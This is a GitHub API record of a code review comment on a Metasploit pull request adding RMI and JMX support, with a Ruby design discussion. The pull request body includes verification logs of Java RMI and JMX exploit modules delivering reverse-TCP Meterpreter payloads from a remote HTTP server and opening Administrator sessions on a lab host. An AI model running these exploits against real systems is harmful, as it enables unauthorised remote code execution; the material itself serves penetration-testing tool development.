{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/27781044","id":27781044,"diff_hunk":"@@ -0,0 +1,96 @@\n+# -*- coding: binary -*-\n+\n+require 'rex/java/serialization'\n+\n+module Msf\n+  module Java\n+    module Rmi\n+      module Builder\n+        # Builds a RMI header stream\n+        #\n+        # @param opts [Hash{Symbol => <String, Fixnum>}]\n+        # @option opts [String] :signature\n+        # @option opts [Fixnum] :version\n+        # @option opts [Fixnum] :protocol\n+        # @return [Rex::Proto::Rmi::Model::OutputHeader]\n+        def build_header(opts = {})","path":"lib/msf/java/rmi/builder.rb","position":16,"original_position":16,"commit_id":"3570fc586fd35e9e91cd4f961d34bd70617a735d","original_commit_id":"830cd269b42bd5bc8681557b9ed844c2e9a62a27","user":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"body":"I was not familiar with keyword arguments. There is something which I like more from the Hash approach vs the keyword arguments.\r\n\r\nTake for example this ```Msf::Java::Rmi::Builder#build_header``` method. It is used from the ```Msf::Java::Rmi::Client#send_header```. The ```send_header``` passes the ```opts``` to ```build_header``` so it can do its job, later he does its own job (which is send the header through network). With the current way ```send_header``` doesn't need ```connascence``` of ```build_header``` options (parameters):\r\n\r\n```ruby\r\n        def send_header(opts = {})\r\n          nsock = opts[:sock] || sock\r\n          stream = build_header(opts)\r\n          nsock.put(stream.encode + \"\\x00\\x00\\x00\\x00\\x00\\x00\")\r\n        end\r\n```\r\n\r\nWith the ```opts``` way, the ```send_header``` methods) just gateways the ```opts``` hash. Is there a way to make the same thing with keyword arguments? Otherwise I guess I should also modify ```send_header``` to do:\r\n\r\n```ruby\r\ndef send_header(nsock: sock, singature:, version:, protocol:)\r\n    stream = build_header(\r\n        signature: signature, \r\n         version: version, \r\n         protocol: protocol)\r\n    nsock.put(stream.encode + \"\\x00\\x00\\x00\\x00\\x00\\x00\")\r\nend\r\n```\r\n\r\nAnd the task of taking care of all the parameters could be even harder on complex domains like the ```Rex::Java::Serialization::Model``` one, where the usage of ```opts``` is kinda useful to build complex structures. ","created_at":"2015-04-05T22:29:47Z","updated_at":"2015-04-05T22:29:47Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/5002#discussion_r27781044","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5002","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/27781044"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/5002#discussion_r27781044"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5002"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5002","id":31883408,"html_url":"https://github.com/rapid7/metasploit-framework/pull/5002","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5002.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5002.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5002","number":5002,"state":"open","locked":false,"title":"Improve RMI (and JMX) support on Metasploit","user":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"body":"This pull request\r\n\r\n* Improves the RMI support inside metasploit\r\n* Adds a module to gather information from a RMI registry (auxiliary/jather/java_rmi_registry)\r\n* Modifies RMI and JMX modules to use the new code (auxiliary/scanner/misc/java_rmi_server, exploits/multi/misc/java/java_rmi_server, exploits/multi/misc/java/java_jmx_server)\r\n\r\nVerification\r\n----------\r\n\r\n- [ ] Travis should be green (there are new specs for the code modified and added).\r\n- [ ] Test the new module auxiliary/jather/java_rmi_registry, should work against any RMI Registry:\r\n\r\n```\r\nmsf > use auxiliary/gather/java_rmi_registry\r\nmsf auxiliary(java_rmi_registry) > set rhost 172.16.158.131\r\nrhost => 172.16.158.131\r\nmsf auxiliary(java_rmi_registry) > set rhost 172.16.158.132\r\nrhost => 172.16.158.132\r\nmsf auxiliary(java_rmi_registry) > run\r\n\r\n[*] 172.16.158.132:1099 - Sending RMI Header...\r\n[*] 172.16.158.132:1099 - Listing names in the Registry...\r\n[-] 172.16.158.132:1099 - Names not found in the Registry\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(java_rmi_registry) > set rport 1617\r\nrport => 1617\r\nmsf auxiliary(java_rmi_registry) > run\r\n\r\n[*] 172.16.158.132:1617 - Sending RMI Header...\r\n[*] 172.16.158.132:1617 - Listing names in the Registry...\r\n[+] 172.16.158.132:1617 - 1 names found in the Registry\r\n[+] 172.16.158.132:1617 - Name jmxrmi (javax.management.remote.rmi.RMIServerImpl_Stub) found on 172.16.158.132:1196\r\n[*] Auxiliary module execution completed\r\n```\r\n\r\n- [ ] Retest the java_rmi_server modules (Both the auxiliary and the exploit). You can test against RMI interfaces where the loader is enabled (success) or disabled (fail):\r\n\r\n```\r\nmsf auxiliary(java_rmi_registry) > use auxiliary/scanner/misc/java_rmi_server\r\nmsf auxiliary(java_rmi_server) > set rhosts 172.16.158.132\r\nrhosts => 172.16.158.132\r\nmsf auxiliary(java_rmi_server) > run\r\n\r\n[+] 172.16.158.132:1099 Java RMI Endpoint Detected: Class Loader Enabled\r\n[*] Scanned 1 of 1 hosts (100% complete)\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(java_rmi_server) > use auxiliary/scanner/Interrupt: use the 'exit' command to quit\r\nmsf auxiliary(java_rmi_server) > set rport 1617\r\nrport => 1617\r\nmsf auxiliary(java_rmi_server) > run\r\n\r\n[*] 172.16.158.132:1617 Java RMI Endpoint Detected: Class Loader Disabled\r\n[*] Scanned 1 of 1 hosts (100% complete)\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(java_rmi_server) > use exploit/multi/misc/java_rmi_server\r\nmsf exploit(java_rmi_server) > set rhost 172.16.158.132\r\nrhost => 172.16.158.132\r\nmsf exploit(java_rmi_server) > set payload java/meterpreter/reverse_tcp\r\npayload => java/meterpreter/reverse_tcp\r\nmsf exploit(java_rmi_server) > set lhost 172.16.158.1\r\nlhost => 172.16.158.1\r\nmsf exploit(java_rmi_server) > set srvhost 172.16.158.1\r\nsrvhost => 172.16.158.1\r\nmsf exploit(java_rmi_server) > rexploit\r\n[*] Reloading module...\r\n\r\n[*] Started reverse handler on 172.16.158.1:4444\r\n[*] Using URL: http://172.16.158.1:8080/YimD5J6Wkk\r\n[*] Server started.\r\n[*] 172.16.158.132:1099 - Sending RMI Header...\r\n[*] 172.16.158.132:1099 - Sending RMI Call...\r\n[*] 172.16.158.132   java_rmi_server - Replied to request for payload JAR\r\n[*] Sending stage (30680 bytes) to 172.16.158.132\r\n[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.132:1205) at 2015-03-24 19:17:50 -0500\r\n[*] Server stopped.\r\n\r\nmeterpreter > getuid\r\nServer username: Administrator\r\nmeterpreter > exit\r\n[*] Shutting down Meterpreter...\r\n\r\n[*] 172.16.158.132 - Meterpreter session 1 closed.  Reason: User exit\r\n```\r\n\r\n- [ ] Retest the java_jmx_server module exploit against an JMX RMI interface:\r\n\r\n```\r\nmsf exploit(java_rmi_server) > use exploit/multi/misc/java_jmx_server\r\nmsf exploit(java_jmx_server) > set rhost 172.16.158.132\r\nrhost => 172.16.158.132\r\nmsf exploit(java_jmx_server) > set rport 1617\r\nrport => 1617\r\nmsf exploit(java_jmx_server) > set payload java/meterpreter/reverse_tcp\r\npayload => java/meterpreter/reverse_tcp\r\nmsf exploit(java_jmx_server) > set lhost 172.16.158.1\r\nlhost => 172.16.158.1\r\nmsf exploit(java_jmx_server) > set srvhost 172.16.158.1\r\nsrvhost => 172.16.158.1\r\nmsf exploit(java_jmx_server) > rexploit\r\n[*] Reloading module...\r\n\r\n[*] Started reverse handler on 172.16.158.1:4444\r\n[*] 172.16.158.132:1617 - Sending RMI Header...\r\n[*] 172.16.158.132:1617 - Discoverig the JMXRMI endpoint...\r\n[+] 172.16.158.132:1617 - JMXRMI endpoint on 172.16.158.132:1196\r\n[*] 172.16.158.132:1617 - Proceeding with handshake...\r\n[+] 172.16.158.132:1617 - Handshake with JMX MBean server on 172.16.158.132:1196\r\n[*] 172.16.158.132:1617 - Loading payload...\r\n[*] Using URL: http://172.16.158.1:8080/aiQUJ2Ds2kmuv3L\r\n[*] 172.16.158.132   java_jmx_server - Replied to request for mlet\r\n[*] 172.16.158.132:1617 - Executing payload...\r\n[*] Sending stage (30680 bytes) to 172.16.158.132\r\n[*] Meterpreter session 2 opened (172.16.158.1:4444 -> 172.16.158.132:1207) at 2015-03-24 19:18:19 -0500\r\n[*] Server stopped.\r\n\r\nmeterpreter > getuid\r\neServer username: Administrator\r\nmeterpreter > exit\r\n[*] Shutting down Meterpreter...\r\n\r\n[*] 172.16.158.132 - Meterpreter session 2 closed.  Reason: User exit\r\nmsf exploit(java_jmx_server) >\r\n```\r\n","created_at":"2015-03-25T00:24:28Z","updated_at":"2015-04-05T22:29:47Z","closed_at":null,"merged_at":null,"merge_commit_sha":"2cab5b4c40f021baa4d4796ec212a878e2ec757f","assignee":null,"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5002/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5002/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5002/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/3570fc586fd35e9e91cd4f961d34bd70617a735d","head":{"label":"jvazquez-r7:rmi_calls","ref":"rmi_calls","sha":"3570fc586fd35e9e91cd4f961d34bd70617a735d","user":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"repo":{"id":6786012,"name":"metasploit-framework","full_name":"jvazquez-r7/metasploit-framework","owner":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jvazquez-r7/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework","forks_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/releases{/id}","created_at":"2012-11-20T22:07:34Z","updated_at":"2015-04-03T20:39:10Z","pushed_at":"2015-04-05T21:43:12Z","git_url":"git://github.com/jvazquez-r7/metasploit-framework.git","ssh_url":"git@github.com:jvazquez-r7/metasploit-framework.git","clone_url":"https://github.com/jvazquez-r7/metasploit-framework.git","svn_url":"https://github.com/jvazquez-r7/metasploit-framework","homepage":"http://www.metasploit.com/","size":700409,"stargazers_count":4,"watchers_count":4,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":3,"mirror_url":null,"open_issues_count":0,"forks":3,"open_issues":0,"watchers":4,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"e72918580489a114364b39fb90d595fd65f9a756","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2015-04-05T21:27:08Z","pushed_at":"2015-04-05T21:43:16Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1052715,"stargazers_count":3557,"watchers_count":3557,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":2948,"mirror_url":null,"open_issues_count":189,"forks":2948,"open_issues":189,"watchers":3557,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5002"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/5002"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5002"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5002/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5002/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5002/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/3570fc586fd35e9e91cd4f961d34bd70617a735d"}}}}